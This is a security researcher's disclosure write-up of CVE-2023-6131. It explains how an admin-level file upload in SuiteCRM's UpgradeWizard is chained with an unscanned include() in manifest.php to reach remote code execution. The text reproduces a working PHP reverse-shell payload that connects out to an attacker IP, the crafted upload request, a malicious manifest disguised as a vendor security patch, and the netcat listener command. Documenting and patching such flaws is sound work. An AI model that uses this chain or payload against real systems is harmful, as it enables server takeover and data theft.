CVE-2023-6131

Affecting SuiteCRM < v7.14.2, v7.12.14

SuiteCRM provides an upgrade wizard utility that can be used to apply upgrades or patches to the application.

Image

If we attempt to upload a text file - we see that there is some validation being done on the upload file.

Image

In the upload.php source, we can see that the following javascript is included when this upload page is served to the client

function uploadCheck(){
   var len = escape(document.the_form.upgrade_zip.value).length;
   var file_extn = escape(document.the_form.upgrade_zip.value).substr(len-3,len);
   if(file_extn.toLowerCase() !='zip'){
   		//document.the_form.upgrade_zip.value = '';
   		//document.getElementById("upgrade_zip").value = '';
   		alert('Not a zip file');
   		document.getElementById("upgrade_zip").value='';
   		document.getElementById("upload_button").disabled='disabled';
   } else {

This is a client-side validation - but it is still unknown how the application would process a non-zip file on the server-side. First, let’s upload a zip file that will pass the client-side validations and analyze the requests.

After clicking upload, we see that our first request has an action of ‘UploadFileCheck’.

POST /SuiteCRM-7.13.3/index.php HTTP/1.1

file_name="C:\\fakepath\\evil.zip"&module=UpgradeWizard&action=UploadFileCheck&to_pdf=1

After receiving an HTTP 200 manifest fileresponse, our client sends a second request with multipart-form data containing our zip data.

POST /SuiteCRM-7.13.3/index.php HTTP/1.1

------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="module"

UpgradeWizard
------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="action"

index
------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="step"

2
------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="run"

upload
------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="upgrade_zip"; filename="evil.zip"
Content-Type: application/zip

<ZIP DATA HERE>
------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="upgrade_zip_escaped"

C%3A%5Cfakepath%5Cevil.zip
------WebKitFormBoundary9VoKZp0SUAVBNYA5--

Let’s analyze the first request to better understand what form of validation is occurring here. Within the UpgradeWizard module - we can find the ‘UploadFileCheck.php’ which is being referenced by action=UploadFileCheck.

The first steps that the application does is parse out the value of the file_name provided in the request. Next, it converts the file name to lowercase and checks to see if it contains the string ‘phar://’. This code is likely intended to prevent PHAR deserialization - a vulnerability that SuiteCRM was previously exposed to in 2020. 1 2

$json = getJSONobj();
$file_name = $json::decode(html_entity_decode($_REQUEST['file_name']));
if (isset($file_name['jsonObject']) && $file_name['jsonObject'] != null) {
    $file_name = $file_name['jsonObject'];
}

$comparisonString = strtolower($file_name);
if (strpos($comparisonString, 'phar://') !== false) {
    return;
}

The next few lines check to see if the file already exists on the filesystem. If it exists - the filesize of the uploaded file is checked to ensure that it is within the file upload limits.

$filesize = '';
if (file_exists($file_name)) {
    $filesize = filesize($file_name);
}

$response = '';

if ($filesize !== null && (($filesize > return_bytes(ini_get("upload_max_filesize"))) || ($filesize > return_bytes(ini_get("post_max_size"))))) {
    $response = $filesize;
}

if (!empty($response)) {
    echo $response;
}

sugar_cleanup();
exit();

After reading through this logic, there doesn’t appear to be any unique values or pre-check conditions required to continue to the actual file upload request. Therefore, we can ignore this file for now and focus on the second request.

Remember, our second request looks like this:

POST /SuiteCRM-7.13.3/index.php HTTP/1.1

------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="module"

UpgradeWizard
------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="action"

index
------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="step"

2
------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="run"

upload
------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="upgrade_zip"; filename="evil.zip"
Content-Type: application/zip

<ZIP DATA HERE>
------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="upgrade_zip_escaped"

C%3A%5Cfakepath%5Cevil.zip
------WebKitFormBoundary9VoKZp0SUAVBNYA5--

With the run form-data set to ‘upload’ in our request, the application first checks to see if we have the release_id request parameter set. Since we do not have this set in our request, we continue on to the else clause.

$upload is created as an object of UploadFile with our file passed in. The application then checks to see if our upload was completed successfully. If all is well, $tempFile is set to the upload:// stream and our file name is concatenated to it. The application attempts to move the file to the upload directory and again checks to ensure that the move was successful. If successful, $perform is marked as true indicating that further processing can continue.

} else {
            $upload = new UploadFile('upgrade_zip');
            /* Bug 51722 - Cannot Upload Upgrade File if System Settings Are Not Sufficient, Just Make sure that we can
            upload no matter what, set the default to 60M */
            global $sugar_config;
            $upload_maxsize_backup = $sugar_config['upload_maxsize'];
            $sugar_config['upload_maxsize'] = 60000000;
            /* End Bug 51722 */
            if (!$upload->confirm_upload()) {
                logThis('ERROR: no file uploaded!');
                echo $mod_strings['ERR_UW_NO_FILE_UPLOADED'];
                $error = $upload->get_upload_error();
                // add PHP error if isset
                if ($error) {
                    $out = "<b><span class='error'>{$mod_strings['ERR_UW_PHP_FILE_ERRORS'][$error]}</span></b><br />";
                }
            } else {
                $tempFile = "upload://".$upload->get_stored_file_name();
                if (!$upload->final_move($tempFile)) {
                    logThis('ERROR: could not move temporary file to final destination!');
                    unlinkUWTempFiles();
                    $out = "<b><span class='error'>{$mod_strings['ERR_UW_NOT_VALID_UPLOAD']}</span></b><br />";
                } else {
                    logThis('File uploaded to '.$tempFile);
                    $base_filename = urldecode(basename($tempFile));
                    $perform = true;
                }
            }
            /* Bug 51722 - Restore the upload size in the config */
            $sugar_config['upload_maxsize'] = $upload_maxsize_backup;
            /* End Bug 51722 */
        }

The UpgradeWizard also provides a log that helps us visualize this process

Sun, 06 Aug 2023 21:30:32 -0700 [UpgradeWizard] - setting session variables...
Sun, 06 Aug 2023 21:30:32 -0700 [UpgradeWizard] - At upload.php
Sun, 06 Aug 2023 21:30:32 -0700 [UpgradeWizard] - running upload
Sun, 06 Aug 2023 21:30:32 -0700 [UpgradeWizard] - File uploaded to upload://evil.zip

We can also confirm that our evil.zip file now exits in /uploads directory of the application

-rw-r--r--  1 www-data www-data    4 Aug  6 21:30 evil.zip

Continuing on, we see that now that $perform is marked as true - the application will now begin to extract the manifest from our zip file.

# upload.php
if ($perform) {
	    $manifest_file = extractManifest($tempFile);

extractFile is called with our file passed in and the file to extract - manifest.php.

# uw_utils.php
if (!function_exists('extractManifest')) {
    function extractManifest($zip_file)
    {
        logThis('extracting manifest.');
        return(extractFile($zip_file, "manifest.php"));
    }
}

This function performs some path sanitization, decompresses the provided archive, and returns the requested file from the archive.

# uw_utils.php
if (!function_exists('extractFile')) {
    function extractFile($zip_file, $file_in_zip)
    {
        global $base_tmp_upgrade_dir;

        // strip cwd
        $absolute_base_tmp_upgrade_dir = clean_path($base_tmp_upgrade_dir);
        $relative_base_tmp_upgrade_dir = clean_path(str_replace(clean_path(getcwd()), '', $absolute_base_tmp_upgrade_dir));

        // mk_temp_dir expects relative pathing
        $my_zip_dir = mk_temp_dir($relative_base_tmp_upgrade_dir);

        unzip_file($zip_file, $file_in_zip, $my_zip_dir);

        return("$my_zip_dir/$file_in_zip");
    }
}

In our case, however, our test zip file we uploaded doesn’t contain a manifest.php file. The application checks to see if the $manifest_file exits after attempting to extract it from our zip. If a manifest file is found, significant parsing and validation occurs. If not, we fall into the else clause. From here, a log message is generated and unlinkUWTempFiles() is called which appears to delete and clean up any of the files uploaded.

if (is_file($manifest_file)) {
	<<SNIP>>
} else {
	logThis('ERROR: no manifest.php file found!');
	unlinkUWTempFiles();
	$out = "<b><span class='error'>{$mod_strings['ERR_UW_NO_MANIFEST']}</span></b><br />";
	break;
}

This behavior is further confirmed by reviewing the UpgradeWizard logs

Sun, 06 Aug 2023 21:31:02 -0700 [UpgradeWizard] - extracting manifest.
Sun, 06 Aug 2023 21:31:02 -0700 [UpgradeWizard] - ERROR: no manifest.php file found!

However, if we look at the filesystem on the web server after our upload we see something unexpected.

-rw-r--r--  1 www-data www-data    4 Aug  6 21:30 evil.zip

Our evil.zip file still exists on the file system. It looks like unlinkUWTempFiles() did not delete our files as expected.

The unlinkUWTempFiles() function is defined in uw_utils.php. The function calls getUWDirs() and only assigns the second item returned to a variable $tempDir. The first result is discarded. Following this, deleteTree() is called to delete the contents of the directory specified in $tempDir.

# uw_utils.php
function unlinkUWTempFiles()
{
    global $path;

    list(/* ignore first element */, $tempDir) = getUWDirs();
    deleteTree($tempDir, true);

    $cacheFile = sugar_cached('modules/UpgradeWizard/_persistence.php');
    if (is_file($cacheFile)) {
        logThis("Unlinking Upgrade cache file: '_persistence.php'", $path);
        @unlink($cacheFile);
    }
}

Stepping through this function in a debugger, we can see that the value of the second item returned by getUWDirs() and assigned to $tempDir is cache/upgrades/temp.

Out of curiosity, what was the first item returned by getUWDirs() which is being discarded? Our debugger shows this is upload://upgrades.

This now explains why our file wasn’t being removed by the cleanup function! The developers purposely skipped clearing files in upload://upgrades and are only removing temporary files from the cache.

We can review the git history for the project and see that this behavior was introduced in (https://github.com/salesagility/SuiteCRM/commit/c26db73500ad92f044449644f1a15b52d3483ac2) and was specifically implemented as a fix to these issues (https://github.com/salesagility/SuiteCRM/issues/8261) (https://github.com/salesagility/SuiteCRM/issues/7242)

After this analysis, we can conclude that the application will retain any file we upload via the UpgradeWizard as long as it fails to find a valid manifest file. Additionally, there is insufficient validation to ensure that the file we upload is actually a compressed archive on the server-side. With this information, we can craft a request to upload a non-zip file containing a malicious payload to the server. Since we will make this request outside of the browser - we can bypass the client-side validation and we will bypass the first request to UploadFileCheck as that requirement is again only imposed by us on the client-side.

We modify the filename value for upgrade_zip to evilFile. This will be name of the file that will be staged on the filesystem in the upload:// directory. Next, we modify the content of what would be the zip file data to instead include a PHP reverse shell back to us.

POST /SuiteCRM-7.13.3/index.php HTTP/1.1

------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="module"

UpgradeWizard
------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="action"

index
------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="step"

2
------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="run"

upload
------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="upgrade_zip"; filename="evilFile"
Content-Type: application/zip

<?php $sock=fsockopen("172.16.77.7",1337);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>
------WebKitFormBoundary9VoKZp0SUAVBNYA5
Content-Disposition: form-data; name="upgrade_zip_escaped"

C%3A%5Cfakepath%5Cevil.zip
------WebKitFormBoundary9VoKZp0SUAVBNYA5--

After sending the request, we can check the filesystem and see that our malicious file has been successfully staged at a known location on the filesystem.

-rw-r--r--  1 www-data www-data  113 Aug  6 22:30 evilFile

cat upload/evilFile 
<?php\n$sock=fsockopen("172.16.77.7",1337);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);\n?>

We now have the ability to write arbitrary files with arbitrary content at a known location on the file system. This might seem minor as we don’t yet have an ability to detonate our malicious payload. However, this step is a critical step in building our larger exploit chain and puts us in a position which the maintainers likely did not anticipate.

Next, we need to find a way to get the application to run our payload. While searching for something to leverage, I decided to do some further research on the upgrade package process and more specifically the purpose of the manifest.php file that the application was expecting in the zip file.

After researching this functionality, I found the following information on the SuiteCRM developer documentation of particular interest: https://docs.suitecrm.com/developer/module-installer/

At the minimum a package is a zip file that contains a `manifest.php` file in it’s root. The manifest file is responsible for providing information about the installer as well as providing information on how to install the package.

An example manifest file

$manifest = array(
   'name' => 'My First Package',
   'description' => 'This is a simple package example manifest file',
   'version' => '1.5',
   'author' => 'Jim Mackin',
   'readme' => 'readme.txt',
   'acceptable_sugar_flavors' => array('CE'),
   'acceptable_sugar_versions' => array(
     'exact_matches' => array(),
     'regex_matches' => array('6\.5\.[0-9]$'),
   ),
   'copy_files' => array (
     'from_dir' => '<basepath>/custom/',
     'to_dir' => 'custom',
     'force_copy' => array (),
   ),
   'dependencies' => array(
     array(
       'id_name' => 'example_dependency_package',
       'version' => '2.4',
     ),
   ),
);

Since the manifest file contains PHP content and we are expected to upload this to the application - an obvious idea is to see if we can introduce arbitrary code into the manifest that will run when the application processes this file. Alas, the maintainers thought of this possibility and built a module scanner that specifically looks for this type of abuse.

Let’s step back and review the code from earlier but let’s assume that our zip file contained a real manifest.php file.

Once a manifest file is detected, the application imports ModuleScanner.php and create a new object of it. From here, the application calls scanFile() from ModuleScanner.php to analyze the manifest file.

if (is_file($manifest_file)) {
	//SCAN THE MANIFEST FILE TO MAKE SURE NO COPIES OR ANYTHING ARE HAPPENING IN IT
	require_once __DIR__ . '/../../ModuleInstall/ModuleScanner.php';

	$ms = new ModuleScanner();
	$ms->lockConfig();
	$fileIssues = $ms->scanFile($manifest_file);
if (!empty($fileIssues)) {
		$out .= '<h2>' . translate('ML_MANIFEST_ISSUE', 'Administration') . '</h2><br>';
$out .= $ms->getIssuesLog();
error_log("$out -3 upload.php\n", 3, "/home/lab/Desktop/php.log");
		break;
}
	list($manifest, $installdefs) = MSLoadManifest($manifest_file);

ModuleScanner has an extensive implementation and has a lot going on. If you’d like to review the code yourself, you can see the file in question here:

scanFile() does several preliminary checks to ensure that the manifest file has a valid extension, is not a configuration file, and is in fact a PHP file. (See my other vulnerability report on SuiteCRM on how this function can be used to achieve reflected XSS and session hijacking!)

If the file is a PHP file, it is subjected to additional validations. At its core, these validations check to ensure that the manifest.php file is formatted correctly. The ModuleScanner also appears to scan all of the other files included in the upgrade zip to ensure they are safe by scanning these files for a list of blacklisted methods. Since these files are inherently just PHP files, the developers were likely concerned, justifiably, about the potential for dangerous packages.

We can review ModuleInstall/ModuleScanner.php to review the full list of blacklisted methods. The blacklist contains over 400+ methods that have been specifically blacklisted for use within the manifest file. Among these are some of the common culprits 'shell_exec', 'popen', 'proc_open' etc. However, as usual, you can’t catch everything with a blacklist!

The blacklist does not account for the usage of PHP expressions for file inclusion: include, include_once, require, require_once. Since the ModuleScanner only analyzes the manifest file and the other files included in the upgrade package - it doesn’t scan any files included from the host filesystem itself!

Chained with our arbitrary file upload we now are one step closer to RCE.

Reviewing the upload.php file again we see that after our manifest file is scanned we make a call to MSLoadManifest($manifest_file)

list($manifest, $installdefs) = MSLoadManifest($manifest_file);

If we examine this function we notice that it includes our $manifest_file and returns an array which is present in the manifest file.

function MSLoadManifest($manifest_file)
{
    include($manifest_file);
    return array($manifest, $installdefs);
}

If we can reach this code block - our manifest file and our include expression will be included by the application and executed!

Let’s test our theory by crafting a new manifest file and adding our include statement at the top so that it is the first thing that is executed when the file is included by MSLoadManifest.

<?php
	require_once("upload/evilFile");
	$manifest = array(
	'name' => 'Suitecrm Upgrade Patch',
	'description' => 'This patch will install important security fixes!',
	'author' => 'SalesAgility Ltd',
	'version' => '1.3.3.7',
	'published_date' => '2023-01-01',
	'type' => 'patch',
	'is_uninstallable' => false,
	'acceptable_suitecrm_versions' => array(
		'regex_matches' => array(
			'7.*'
		)
	),
	);

	$installdefs = array(
	'id' => 'patch #{1}',
	'copy' => array(
		array(
		'from' => 'upload/nothing',
		'to' => 'upload/nothing',
		),
	),
	);

We will zip our malicious manifest into a zip file so that it passes those validations zip evil.zip manifest.php

We will start a listener to catch our reverse shell nc -lvnp 1337

Once we upload our package we see a reverse shell come in!

Image

Back on SuiteCRM, we can see that our package has been staged but has not been installed yet. We can click Delete Package to delete the package from the cache or we can leave the patch in the cache so that our payload is executed every time this page is loaded.

Image

This entire process can be scripted out to shell a SuiteCRM installation as long as an admins credentials or session cookie is provided.

Image